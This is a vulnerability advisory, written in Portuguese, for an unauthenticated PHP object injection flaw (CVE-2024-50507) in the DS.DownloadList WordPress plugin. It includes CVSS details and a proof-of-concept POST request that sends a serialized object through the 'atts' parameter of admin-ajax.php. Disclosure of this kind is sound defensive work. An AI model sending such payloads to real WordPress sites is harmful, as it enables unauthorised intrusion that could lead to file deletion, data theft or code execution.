CVE-2024-50507

DS.DownloadList <= 1.3 - Injeção de Objeto PHP não Autenticada

Descrição

O plugin DS.DownloadList para WordPress é vulnerável a Injeção de Objeto PHP em todas as versões até, e incluindo, 1.3 através da desserialização de entrada não confiável. Isso torna possível para atacantes não autenticados injetar um Objeto PHP. Nenhuma cadeia POP conhecida está presente no software vulnerável. Se uma cadeia POP estiver presente através de um plugin ou tema adicional instalado no sistema alvo, isso poderia permitir ao atacante excluir arquivos arbitrários, recuperar dados sensíveis ou executar código.

Detalhes

• Tipo: plugin
• Slug: dsdownloadlist
• Versão Afetada: 1.3
• CVSS Score: 8.1
• Classificação CVSS: Alta
• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50507
• Status: Fechado

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

action=dsdl&atts=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=